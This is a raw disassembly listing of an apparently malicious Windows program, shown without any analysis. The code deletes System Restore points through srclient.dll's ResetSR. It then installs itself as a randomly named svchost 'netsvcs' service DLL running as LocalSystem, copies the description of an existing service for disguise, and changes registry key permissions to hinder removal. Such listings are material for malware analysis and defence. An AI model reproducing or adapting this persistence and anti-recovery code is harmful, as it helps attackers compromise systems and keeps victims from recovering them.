mov ecx, ds:dword_9BA27C
mov [eax+10h], ecx
lea ecx, [ebp+var_4C]
push ecx ; lpThreadId
push ebx ; dwCreationFlags
push eax ; lpParameter
push offset sub_9AC6FE ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
call CreateThread
push eax ; hObject
call CloseHandle
push 32h ; dwMilliseconds
call Sleep
jmp short loc_9ACE4C
; ---------------------------------------------------------------------------
loc_9ACE45: ; CODE XREF: sub_9ACABE+343j
push esi ; hObject
call CloseHandle
loc_9ACE4C: ; CODE XREF: sub_9ACABE+2FAj
; sub_9ACABE+336j ...
mov [ebp+var_14], 1
loc_9ACE53: ; CODE XREF: sub_9ACABE+506j
push 4E20h ; dwMilliseconds
call Sleep
lea eax, [ebp+var_1850]
push 100h ; int
push eax ; Dst
call sub_9AB41B
cmp eax, [ebp+var_C]
pop ecx
pop ecx
mov [ebp+var_24], eax
jz short loc_9ACE7C
mov [ebp+var_14], ebx
loc_9ACE7C: ; CODE XREF: sub_9ACABE+3B9j
xor eax, eax
cmp [ebp+var_C], ebx
mov [ebp+var_4], eax
jbe loc_9ACFC1
loc_9ACE8A: ; CODE XREF: sub_9ACABE+4FDj
cmp [ebp+var_24], ebx
mov [ebp+var_8], ebx
jbe short loc_9ACED3
lea ecx, [eax+eax*2]
shl ecx, 2
mov esi, dword ptr [ebp+ecx+in.S_un]
lea edx, [ebp+var_184C]
loc_9ACEA5: ; CODE XREF: sub_9ACABE+413j
cmp [edx-4], esi
jnz short loc_9ACEC5
mov edi, [edx]
cmp edi, [ebp+ecx+var_C4C]
jnz short loc_9ACEC5
mov edi, [edx+4]
cmp edi, [ebp+ecx+var_C48]
jz loc_9ACFB4
loc_9ACEC5: ; CODE XREF: sub_9ACABE+3EAj
; sub_9ACABE+3F5j
mov edi, [ebp+var_24]
inc [ebp+var_8]
add edx, 0Ch
cmp [ebp+var_8], edi
jb short loc_9ACEA5
loc_9ACED3: ; CODE XREF: sub_9ACABE+3D2j
lea eax, [eax+eax*2]
shl eax, 2
push [ebp+eax+var_C48]
push [ebp+eax+var_C4C]
push dword ptr [ebp+eax+in.S_un]
lea eax, [ebp+Name]
push offset aL08x08x08x ; "l%08x%08x%08x"
push 20h ; Count
push eax ; Dest
call _snprintf
mov esi, OpenEventA
add esp, 18h
lea eax, [ebp+Name]
push eax ; lpName
push ebx ; bInheritHandle
push 2 ; dwDesiredAccess
mov [ebp+var_29], bl
call esi ; OpenEventA
mov edi, eax
cmp edi, ebx
jz short loc_9ACF28
push edi ; hEvent
call SetEvent
push edi ; hObject
call CloseHandle
loc_9ACF28: ; CODE XREF: sub_9ACABE+45Aj
mov eax, [ebp+var_4]
mov edx, [ebp+Dst]
lea ecx, [eax+eax*2]
shl ecx, 2
cmp edx, dword ptr [ebp+ecx+in.S_un]
jnz short loc_9ACFB1
mov edx, [ebp+var_1C]
cmp edx, [ebp+ecx+var_C4C]
jnz short loc_9ACFB1
mov edx, [ebp+var_18]
cmp edx, [ebp+ecx+var_C48]
jnz short loc_9ACFB1
push 0Ch ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call memset
push ebx
push ds:dword_9BA27C
lea eax, [ebp+Name]
push ds:dword_9BA278
push offset aW08x08x08x ; "w%08x%08x%08x"
push 20h ; Count
push eax ; Dest
call _snprintf
add esp, 24h
lea eax, [ebp+Name]
push eax ; lpName
push ebx ; bInheritHandle
push 2 ; dwDesiredAccess
mov [ebp+var_29], bl
call esi ; OpenEventA
mov esi, eax
cmp esi, ebx
jz short loc_9ACFA2
push esi ; hEvent
call SetEvent
push esi ; hObject
call CloseHandle
loc_9ACFA2: ; CODE XREF: sub_9ACABE+4D4j
push ebx ; Value
push offset dword_9BA278 ; Target
call InterlockedExchange
mov eax, [ebp+var_4]
loc_9ACFB1: ; CODE XREF: sub_9ACABE+47Dj
; sub_9ACABE+489j ...
mov [ebp+var_14], ebx
loc_9ACFB4: ; CODE XREF: sub_9ACABE+401j
inc eax
cmp eax, [ebp+var_C]
mov [ebp+var_4], eax
jb loc_9ACE8A
loc_9ACFC1: ; CODE XREF: sub_9ACABE+3C6j
cmp [ebp+var_14], ebx
jnz loc_9ACE53
jmp loc_9ACAEB
sub_9ACABE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9ACFCF proc near ; CODE XREF: StartAddress+1D9p
ThreadId = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, CreateThread
push edi
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
xor ebx, ebx
push ebx ; dwCreationFlags
push ebx ; lpParameter
push offset sub_9ACA50 ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
call esi ; CreateThread
mov edi, CloseHandle
push eax ; hObject
call edi ; CloseHandle
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
push ebx ; dwCreationFlags
push ebx ; lpParameter
push offset sub_9ACABE ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
call esi ; CreateThread
push eax ; hObject
call edi ; CloseHandle
pop edi
pop esi
pop ebx
leave
retn
sub_9ACFCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AD00D proc near ; CODE XREF: sub_9AD71D:loc_9AD904p
var_20 = dword ptr -20h
hLibModule = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 10h
push offset stru_9A4678
call __SEH_prolog
push offset LibFileName ; "srclient.dll"
call LoadLibraryA
mov [ebp+hLibModule], eax
and [ebp+ms_exc.disabled], 0
test eax, eax
jz short loc_9AD04F
push offset aResetsr ; "ResetSR"
push eax ; hModule
call GetProcAddress
mov [ebp+var_20], eax
test eax, eax
jz short loc_9AD04F
push 0
call eax
jmp short loc_9AD04F
; ---------------------------------------------------------------------------
loc_9AD048: ; DATA XREF: .text:stru_9A4678o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AD04C: ; DATA XREF: .text:stru_9A4678o
mov esp, [ebp+ms_exc.old_esp]
loc_9AD04F: ; CODE XREF: sub_9AD00D+20j
; sub_9AD00D+33j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
push [ebp+hLibModule] ; hLibModule
call FreeLibrary
call __SEH_epilog
retn
sub_9AD00D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AD062 proc near ; CODE XREF: sub_9AD71D+3Cp
ServiceConfig = _QUERY_SERVICE_CONFIGW ptr -2050h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
ResumeHandle = dword ptr -3Ch
var_38 = dword ptr -38h
pcbBytesNeeded = dword ptr -34h
hSCObject = dword ptr -30h
ServicesReturned= dword ptr -2Ch
var_28 = dword ptr -28h
dwBytes = dword ptr -24h
var_20 = dword ptr -20h
hMem = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_9A4688
push offset unknown_libname_1 ; Microsoft VisualC 2-9/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
mov eax, 2038h
call __alloca_probe
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
mov [ebp+var_40], ebx
mov [ebp+var_4], ebx
push 20005h ; dwDesiredAccess
push ebx ; lpDatabaseName
push ebx ; lpMachineName
call OpenSCManagerW
mov [ebp+hSCObject], eax
cmp eax, ebx
jz loc_9AD23C
mov [ebp+dwBytes], ebx
mov [ebp+ServicesReturned], ebx
mov [ebp+ResumeHandle], ebx
mov [ebp+hMem], ebx
mov esi, GlobalAlloc
loc_9AD0C3: ; CODE XREF: sub_9AD062+B3j
lea eax, [ebp+ResumeHandle]
push eax ; lpResumeHandle
lea eax, [ebp+ServicesReturned]
push eax ; lpServicesReturned
lea eax, [ebp+dwBytes]
push eax ; pcbBytesNeeded
push [ebp+dwBytes] ; cbBufSize
push [ebp+hMem] ; lpServices
push 3 ; dwServiceState
push 30h ; dwServiceType
push [ebp+hSCObject] ; hSCManager
call EnumServicesStatusW
mov [ebp+var_44], eax
cmp eax, ebx
jnz short loc_9AD117
call GetLastError
cmp eax, 0EAh
jnz short loc_9AD117
cmp [ebp+hMem], ebx
jz short loc_9AD104
push [ebp+hMem] ; hMem
call GlobalFree
loc_9AD104: ; CODE XREF: sub_9AD062+97j
push [ebp+dwBytes] ; dwBytes
push 40h ; uFlags
call esi ; GlobalAlloc
mov [ebp+hMem], eax
cmp eax, ebx
jz short loc_9AD117
mov [ebp+ResumeHandle], ebx
jmp short loc_9AD0C3
; ---------------------------------------------------------------------------
loc_9AD117: ; CODE XREF: sub_9AD062+85j
; sub_9AD062+92j ...
cmp [ebp+var_44], ebx
jz loc_9AD22A
cmp [ebp+hMem], ebx
jz loc_9AD22A
mov eax, [ebp+ServicesReturned]
shl eax, 2
push eax ; dwBytes
push 40h ; uFlags
call esi ; GlobalAlloc
mov edi, eax
mov [ebp+var_50], edi
mov [ebp+var_20], ebx
or [ebp+var_38], 0FFFFFFFFh
xor esi, esi
loc_9AD142: ; CODE XREF: sub_9AD062+187j
mov [ebp+var_28], esi
cmp esi, [ebp+ServicesReturned]
jnb loc_9AD1EE
push 20005h ; dwDesiredAccess
lea eax, [esi+esi*8]
mov ecx, [ebp+hMem]
push dword ptr [ecx+eax*4] ; lpServiceName
push [ebp+hSCObject] ; hSCManager
call OpenServiceW
mov ebx, eax
mov [ebp+var_48], ebx
test ebx, ebx
jz short loc_9AD1E6
lea eax, [ebp+pcbBytesNeeded]
push eax ; pcbBytesNeeded
push 2000h ; cbBufSize
lea eax, [ebp+ServiceConfig]
push eax ; lpServiceConfig
push ebx ; hService
call QueryServiceConfigW
test eax, eax
jz short loc_9AD1DF
cmp [ebp+ServiceConfig.dwStartType], 2
jnz short loc_9AD1DF
lea eax, [ebp+pcbBytesNeeded]
push eax ; pcbBytesNeeded
push 2000h ; cbBufSize
lea eax, [ebp+ServiceConfig]
push eax ; lpBuffer
push 1 ; dwInfoLevel
push ebx ; hService
call QueryServiceConfig2W
test eax, eax
jz short loc_9AD1DF
cmp [ebp+pcbBytesNeeded], 0
jz short loc_9AD1DF
lea eax, [ebp+ServiceConfig]
mov [ebp+var_4C], eax
mov eax, [ebp+ServiceConfig.dwServiceType]
test eax, eax
jz short loc_9AD1DF
cmp word ptr [eax], 0
jz short loc_9AD1DF
push eax ; Str
call _wcsdup
pop ecx
mov ecx, [ebp+var_20]
mov [edi+ecx*4], eax
inc [ebp+var_20]
loc_9AD1DF: ; CODE XREF: sub_9AD062+125j
; sub_9AD062+12Ej ...
push ebx ; hSCObject
call CloseServiceHandle
loc_9AD1E6: ; CODE XREF: sub_9AD062+10Aj
inc esi
xor ebx, ebx
jmp loc_9AD142
; ---------------------------------------------------------------------------
loc_9AD1EE: ; CODE XREF: sub_9AD062+E6j
cmp [ebp+var_20], ebx
jz short loc_9AD207
call rand
xor edx, edx
div [ebp+var_20]
mov [ebp+var_38], edx
mov eax, [edi+edx*4]
mov [ebp+var_40], eax
loc_9AD207: ; CODE XREF: sub_9AD062+18Fj
xor esi, esi
loc_9AD209: ; CODE XREF: sub_9AD062+1BFj
mov [ebp+var_28], esi
cmp esi, [ebp+var_20]
jnb short loc_9AD223
cmp [ebp+var_38], esi
jz short loc_9AD220
push dword ptr [edi+esi*4] ; Memory
call free
pop ecx
loc_9AD220: ; CODE XREF: sub_9AD062+1B2j
inc esi
jmp short loc_9AD209
; ---------------------------------------------------------------------------
loc_9AD223: ; CODE XREF: sub_9AD062+1ADj
push edi ; hMem
call GlobalFree
loc_9AD22A: ; CODE XREF: sub_9AD062+B8j
; sub_9AD062+C1j
push [ebp+hMem] ; hMem
call GlobalFree
push [ebp+hSCObject] ; hSCObject
call CloseServiceHandle
loc_9AD23C: ; CODE XREF: sub_9AD062+49j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_9AD24F
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
xor ebx, ebx
loc_9AD24F: ; CODE XREF: sub_9AD062+1DEj
mov eax, [ebp+var_40]
cmp eax, ebx
jnz short loc_9AD262
push offset Str ; Str
call _wcsdup
pop ecx
loc_9AD262: ; CODE XREF: sub_9AD062+1F2j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_9AD062 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AD271(HKEY hKey)
sub_9AD271 proc near ; CODE XREF: sub_9AD363+80p
pSecurityDescriptor= byte ptr -48h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
pSid = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
hKey = dword ptr 8
push 38h
push offset stru_9A4698
call __SEH_prolog
xor ebx, ebx
mov [ebp+var_24], ebx
mov [ebp+var_20], ebx
mov [ebp+pSid], ebx
mov [ebp+ms_exc.disabled], ebx
mov [ebp+pIdentifierAuthority.Value], bl
mov [ebp+pIdentifierAuthority.Value+1], bl
mov [ebp+pIdentifierAuthority.Value+2], bl
mov [ebp+pIdentifierAuthority.Value+3], bl
mov [ebp+pIdentifierAuthority.Value+4], bl
mov [ebp+pIdentifierAuthority.Value+5], 5
lea eax, [ebp+pSid]
push eax ; pSid
push ebx ; nSubAuthority7
push ebx ; nSubAuthority6
push ebx ; nSubAuthority5
push ebx ; nSubAuthority4
push ebx ; nSubAuthority3
push ebx ; nSubAuthority2
push ebx ; nSubAuthority1
push 12h ; nSubAuthority0
push 1 ; nSubAuthorityCount
lea eax, [ebp+pIdentifierAuthority]
push eax ; pIdentifierAuthority
call AllocateAndInitializeSid
push [ebp+pSid] ; pSid
call GetLengthSid
mov esi, eax
add esi, 10h
mov [ebp+var_28], esi
push esi ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov edi, eax
mov [ebp+var_20], edi
cmp edi, ebx
jz short loc_9AD32B
push 2 ; dwAclRevision
push esi ; nAclLength
push edi ; pAcl
call InitializeAcl
push [ebp+pSid] ; pSid
push 20019h ; AccessMask
push 2 ; dwAceRevision
push edi ; pAcl
call AddAccessAllowedAce
push 1 ; dwRevision
lea eax, [ebp+pSecurityDescriptor]
push eax ; pSecurityDescriptor
call InitializeSecurityDescriptor
push ebx ; bDaclDefaulted
push edi ; pDacl
push 1 ; bDaclPresent
lea eax, [ebp+pSecurityDescriptor]
push eax ; pSecurityDescriptor
call SetSecurityDescriptorDacl
lea eax, [ebp+pSecurityDescriptor]
push eax ; pSecurityDescriptor
push 4 ; SecurityInformation
push [ebp+hKey] ; hKey
call RegSetKeySecurity
mov [ebp+var_2C], eax
xor ecx, ecx
cmp eax, ebx
setz cl
mov [ebp+var_24], ecx
loc_9AD32B: ; CODE XREF: sub_9AD271+67j
or [ebp+ms_exc.disabled], 0FFFFFFFFh
jmp short loc_9AD341
; ---------------------------------------------------------------------------
loc_9AD331: ; DATA XREF: .text:stru_9A4698o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AD335: ; DATA XREF: .text:stru_9A4698o
mov esp, [ebp+ms_exc.old_esp]
or [ebp+ms_exc.disabled], 0FFFFFFFFh
xor ebx, ebx
mov edi, [ebp+var_20]
loc_9AD341: ; CODE XREF: sub_9AD271+BEj
cmp edi, ebx
jz short loc_9AD34C
push edi ; hMem
call GlobalFree
loc_9AD34C: ; CODE XREF: sub_9AD271+D2j
cmp [ebp+pSid], ebx
jz short loc_9AD35A
push [ebp+pSid] ; pSid
call FreeSid
loc_9AD35A: ; CODE XREF: sub_9AD271+DEj
mov eax, [ebp+var_24]
call __SEH_epilog
retn
sub_9AD271 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AD363(HKEY hKey)
sub_9AD363 proc near ; CODE XREF: sub_9AD363+49p
; sub_9AD50E+1E8p
Name = word ptr -214h
phkResult = dword ptr -0Ch
cchName = dword ptr -8
dwIndex = dword ptr -4
hKey = dword ptr 8
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
mov edi, RegEnumKeyExW
xor esi, esi
push esi
push esi
push esi
push esi
lea eax, [ebp+cchName]
push eax
lea eax, [ebp+Name]
push eax
mov [ebp+dwIndex], esi
push esi
jmp short loc_9AD3D0
; ---------------------------------------------------------------------------
loc_9AD38B: ; CODE XREF: sub_9AD363+7Bj
lea eax, [ebp+phkResult]
push eax ; phkResult
push 0F003Fh ; samDesired
push esi ; ulOptions
lea eax, [ebp+Name]
push eax ; lpSubKey
push [ebp+hKey] ; hKey
call RegOpenKeyExW
test eax, eax
jnz short loc_9AD3BB
push [ebp+phkResult] ; hKey
call sub_9AD363
pop ecx
push [ebp+phkResult] ; hKey
call RegCloseKey
loc_9AD3BB: ; CODE XREF: sub_9AD363+44j
inc [ebp+dwIndex]
push esi ; lpftLastWriteTime
push esi ; lpcchClass
push esi ; lpClass
push esi ; lpReserved
lea eax, [ebp+cchName]
push eax ; lpcchName
lea eax, [ebp+Name]
push eax ; lpName
push [ebp+dwIndex] ; dwIndex
loc_9AD3D0: ; CODE XREF: sub_9AD363+26j
push [ebp+hKey] ; hKey
mov [ebp+cchName], 104h
call edi ; RegEnumKeyExW
test eax, eax
jz short loc_9AD38B
push [ebp+hKey] ; hKey
call sub_9AD271
pop ecx
pop edi
pop esi
leave
retn
sub_9AD363 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AD3ED(wchar_t *Src, LPCWSTR lpValueName)
sub_9AD3ED proc near ; CODE XREF: sub_9AD50E+1D2p
SubKey = word ptr -88h
Type = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
Data = byte ptr -9
hKey = dword ptr -8
cbData = dword ptr -4
Src = dword ptr 8
lpValueName = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1Ah
pop ecx
mov esi, offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
lea edi, [ebp+SubKey]
rep movsd
lea eax, [ebp+hKey]
push eax ; phkResult
push 3 ; samDesired
xor ebx, ebx
push ebx ; ulOptions
lea eax, [ebp+SubKey]
push eax ; lpSubKey
push 80000002h ; hKey
mov [ebp+var_10], ebx
movsw
call RegOpenKeyExW
test eax, eax
jnz loc_9AD506
mov esi, RegQueryValueExW
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+Data]
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push ebx ; lpReserved
push [ebp+lpValueName] ; lpValueName
mov [ebp+cbData], 1
push [ebp+hKey] ; hKey
mov [ebp+Type], 7
call esi ; RegQueryValueExW
cmp eax, 0EAh
jnz loc_9AD4FD
push [ebp+Src] ; Str
mov edi, wcslen
call edi ; wcslen
pop ecx
mov ecx, [ebp+cbData]
lea eax, [ecx+eax*2+2]
push eax ; dwBytes
push 40h ; uFlags
mov [ebp+var_18], eax
call GlobalAlloc
mov ebx, eax
test ebx, ebx
jz short loc_9AD4FD
lea eax, [ebp+cbData]
push eax ; lpcbData
push ebx ; lpData
lea eax, [ebp+var_14]
push eax ; lpType
push 0 ; lpReserved
push [ebp+lpValueName] ; lpValueName
mov [ebp+var_14], 7
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExW
test eax, eax
jnz short loc_9AD4F6
mov esi, [ebp+cbData]
push [ebp+Src] ; Str
shr esi, 1
dec esi
call edi ; wcslen
lea edi, [eax+eax+2]
push edi ; Size
push [ebp+Src] ; Src
add esi, esi
lea eax, [esi+ebx]
push eax ; Dst
call memcpy
push 2 ; Size
add esi, edi
push 0 ; Val
add esi, ebx
push esi ; Dst
call memset
add esp, 1Ch
push [ebp+var_18] ; cbData
push ebx ; lpData
push 7 ; dwType
push 0 ; Reserved
push [ebp+lpValueName] ; lpValueName
push [ebp+hKey] ; hKey
call RegSetValueExW
test eax, eax
jnz short loc_9AD4F6
mov [ebp+var_10], 1
loc_9AD4F6: ; CODE XREF: sub_9AD3ED+B9j
; sub_9AD3ED+100j
push ebx ; hMem
call GlobalFree
loc_9AD4FD: ; CODE XREF: sub_9AD3ED+72j
; sub_9AD3ED+9Bj
push [ebp+hKey] ; hKey
call RegCloseKey
loc_9AD506: ; CODE XREF: sub_9AD3ED+3Ej
mov eax, [ebp+var_10]
pop edi
pop esi
pop ebx
leave
retn
sub_9AD3ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AD50E(int, wchar_t *Src, BYTE *lpData, wchar_t *lpValueName, int)
sub_9AD50E proc near ; CODE XREF: sub_9AD71D+104p
Source = word ptr -0ACh
var_60 = byte ptr -60h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
phkResult = dword ptr -10h
hMem = dword ptr -0Ch
Data = byte ptr -8
hKey = dword ptr -4
arg_0 = dword ptr 8
Src = dword ptr 0Ch
lpData = dword ptr 10h
lpValueName = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0ACh
and [ebp+var_14], 0
push ebx
mov ebx, wcslen
push esi
push edi
push 13h
pop ecx
push [ebp+lpValueName] ; Str
mov esi, offset aSystemrootSyst ; "%SystemRoot%\\system32\\svchost.exe -k "
lea edi, [ebp+Source]
rep movsd
call ebx ; wcslen
pop ecx
lea eax, [eax+eax+4Ch]
push eax ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov esi, eax
test esi, esi
mov [ebp+hMem], esi
jz short loc_9AD5A0
lea eax, [ebp+Source]
push eax ; Source
push esi ; Dest
call wcscpy
push [ebp+lpValueName] ; Source
push esi ; Dest
call wcscat
push 11h
pop ecx
push [ebp+Src] ; Str
mov esi, offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\"
lea edi, [ebp+var_60]
rep movsd
movsw
call ebx ; wcslen
add esp, 14h
lea eax, [eax+eax+46h]
push eax ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov esi, eax
xor edi, edi
cmp esi, edi
mov [ebp+var_18], esi
jnz short loc_9AD5A7
push [ebp+hMem] ; hMem
call GlobalFree
loc_9AD5A0: ; CODE XREF: sub_9AD50E+40j
xor eax, eax
jmp loc_9AD718
; ---------------------------------------------------------------------------
loc_9AD5A7: ; CODE XREF: sub_9AD50E+87j
lea eax, [ebp+var_60]
push eax ; Source
push esi ; Dest
call wcscpy
push [ebp+Src] ; Source
push esi ; Dest
call wcscat
add esp, 10h
push edi ; lpdwDisposition
lea eax, [ebp+hKey]
push eax ; phkResult
push edi ; lpSecurityAttributes
push 0F003Fh ; samDesired
push edi ; dwOptions
push edi ; lpClass
push edi ; Reserved
push esi ; lpSubKey
push 80000002h ; hKey
call RegCreateKeyExW
test eax, eax
jnz loc_9AD705
push [ebp+lpData] ; Str
call ebx ; wcslen
mov esi, RegSetValueExW
pop ecx
lea eax, [eax+eax+2]
push eax ; cbData
push [ebp+lpData] ; lpData
push 1 ; dwType
push edi ; Reserved
push offset ValueName ; "DisplayName"
push [ebp+hKey] ; hKey
call esi ; RegSetValueExW
push 4 ; cbData
lea eax, [ebp+Data]
push eax ; lpData
push 4 ; dwType
push edi ; Reserved
push offset aType ; "Type"
push [ebp+hKey] ; hKey
mov dword ptr [ebp+Data], 20h
call esi ; RegSetValueExW
push 4 ; cbData
lea eax, [ebp+Data]
push eax ; lpData
push 4 ; dwType
push edi ; Reserved
push offset aStart ; "Start"
push [ebp+hKey] ; hKey
mov dword ptr [ebp+Data], 2
call esi ; RegSetValueExW
push 4 ; cbData
lea eax, [ebp+Data]
push eax ; lpData
push 4 ; dwType
push edi ; Reserved
push offset aErrorcontrol ; "ErrorControl"
push [ebp+hKey] ; hKey
mov dword ptr [ebp+Data], edi
call esi ; RegSetValueExW
push [ebp+hMem] ; Str
call ebx ; wcslen
pop ecx
lea eax, [eax+eax+2]
push eax ; cbData
push [ebp+hMem] ; lpData
push 2 ; dwType
push edi ; Reserved
push offset aImagepath ; "ImagePath"
push [ebp+hKey] ; hKey
call esi ; RegSetValueExW
push 18h ; cbData
push offset Data ; "LocalSystem"
push 1 ; dwType
push edi ; Reserved
push offset aObjectname ; "ObjectName"
push [ebp+hKey] ; hKey
call esi ; RegSetValueExW
push [ebp+arg_10] ; Str
call ebx ; wcslen
pop ecx
lea eax, [eax+eax+2]
push eax ; cbData
push [ebp+arg_10] ; lpData
push 1 ; dwType
push edi ; Reserved
push offset aDescription ; "Description"
push [ebp+hKey] ; hKey
call esi ; RegSetValueExW
push edi ; lpdwDisposition
lea eax, [ebp+phkResult]
push eax ; phkResult
push edi ; lpSecurityAttributes
push 20006h ; samDesired
push edi ; dwOptions
push edi ; lpClass
push edi ; Reserved
push offset SubKey ; "Parameters"
push [ebp+hKey] ; hKey
call RegCreateKeyExW
test eax, eax
jnz short loc_9AD6EA
push [ebp+arg_0] ; Str
call ebx ; wcslen
pop ecx
lea eax, [eax+eax+2]
push eax ; cbData
push [ebp+arg_0] ; lpData
push 2 ; dwType
push edi ; Reserved
push offset aServicedll ; "ServiceDll"
push [ebp+phkResult] ; hKey
call esi ; RegSetValueExW
push [ebp+phkResult] ; hKey
call RegCloseKey
push [ebp+lpValueName] ; lpValueName
push [ebp+Src] ; Src
call sub_9AD3ED
pop ecx
pop ecx
mov [ebp+var_14], eax
loc_9AD6EA: ; CODE XREF: sub_9AD50E+1A6j
push [ebp+hKey] ; hKey
call RegFlushKey
push [ebp+hKey] ; hKey
call sub_9AD363
pop ecx
push [ebp+hKey] ; hKey
call RegCloseKey
loc_9AD705: ; CODE XREF: sub_9AD50E+CDj
push [ebp+hMem] ; hMem
mov esi, GlobalFree
call esi ; GlobalFree
push [ebp+var_18] ; hMem
call esi ; GlobalFree
mov eax, [ebp+var_14]
loc_9AD718: ; CODE XREF: sub_9AD50E+94j
pop edi
pop esi
pop ebx
leave
retn
sub_9AD50E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
; int __cdecl sub_9AD71D(char *lpMultiByteStr)
sub_9AD71D proc near ; CODE XREF: sub_9A752A+10Ap
Data = byte ptr -220h
var_11D = byte ptr -11Dh
Src = word ptr -11Ch
Dest = word ptr -9Ch
ValueName = byte ptr -1Ch
var_10 = dword ptr -10h
hMem = dword ptr -0Ch
var_8 = dword ptr -8
phkResult = dword ptr -4
lpMultiByteStr = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 220h
push ebx
push edi
push [ebp+74h+lpMultiByteStr] ; Str
xor ebx, ebx
mov [ebp+74h+var_8], ebx
call strlen
mov edi, eax
pop ecx
lea eax, [edi+edi+2]
push eax ; dwBytes
push 40h ; uFlags
mov [ebp+74h+var_10], edi
call GlobalAlloc
cmp eax, ebx
mov [ebp+74h+hMem], eax
jnz short loc_9AD758
xor eax, eax
jmp loc_9AD90D
; ---------------------------------------------------------------------------
loc_9AD758: ; CODE XREF: sub_9AD71D+32j
push esi
call sub_9AD062
mov esi, rand
mov [ebp+74h+phkResult], eax
call esi ; rand
push 5
pop ecx
cdq
idiv ecx
lea eax, [ebp+74h+Src]
add edx, ecx
push edx
push eax
call sub_9AB677
pop ecx
pop ecx
call esi ; rand
push 10h
cdq
pop ecx
idiv ecx
test edx, edx
jz short loc_9AD7DF
call esi ; rand
push 15h
xor edx, edx
pop ecx
div ecx
mov edi, edx
loc_9AD797: ; CODE XREF: sub_9AD71D+87j
call esi ; rand
push 15h
xor edx, edx
pop ecx
div ecx
mov ebx, edx
cmp edi, ebx
jz short loc_9AD797
push ds:off_9B9AC8[edi*4] ; Source
lea eax, [ebp+74h+Dest]
push eax ; Dest
call wcscpy
mov edi, wcscat
lea eax, [ebp+74h+Dest]
push offset asc_9A48AC ; " "
push eax ; Dest
call edi ; wcscat
push ds:off_9B9AC8[ebx*4] ; Source
lea eax, [ebp+74h+Dest]
push eax ; Dest
call edi ; wcscat
mov edi, [ebp+74h+var_10]
add esp, 18h
xor ebx, ebx
jmp short loc_9AD7F5
; ---------------------------------------------------------------------------
loc_9AD7DF: ; CODE XREF: sub_9AD71D+6Dj
call esi ; rand
push 5
pop ecx
cdq
idiv ecx
lea eax, [ebp+74h+Dest]
add edx, ecx
push edx
push eax
call sub_9AB677
pop ecx
pop ecx
loc_9AD7F5: ; CODE XREF: sub_9AD71D+C0j
inc edi
push edi ; cchWideChar
push [ebp+74h+hMem] ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push [ebp+74h+lpMultiByteStr] ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
call MultiByteToWideChar
test eax, eax
jz short loc_9AD82C
push [ebp+74h+phkResult] ; int
lea eax, [ebp+74h+Dest]
push offset aNetsvcs ; "netsvcs"
push eax ; lpData
lea eax, [ebp+74h+Src]
push eax ; Src
push [ebp+74h+hMem] ; int
call sub_9AD50E
add esp, 14h
mov [ebp+74h+var_8], eax
loc_9AD82C: ; CODE XREF: sub_9AD71D+ECj
push [ebp+74h+phkResult] ; Memory
call free
pop ecx
push [ebp+74h+hMem] ; hMem
call GlobalFree
cmp [ebp+74h+var_8], ebx
jnz loc_9AD904
mov eax, ds:dword_9B9F34
xor eax, 0B30AA17Bh
push eax ; Seed
call srand
call esi ; rand
push 5
pop ecx
cdq
idiv ecx
lea eax, [ebp+74h+ValueName]
add edx, ecx
push edx
push eax
call sub_9AB647
call sub_9AB510
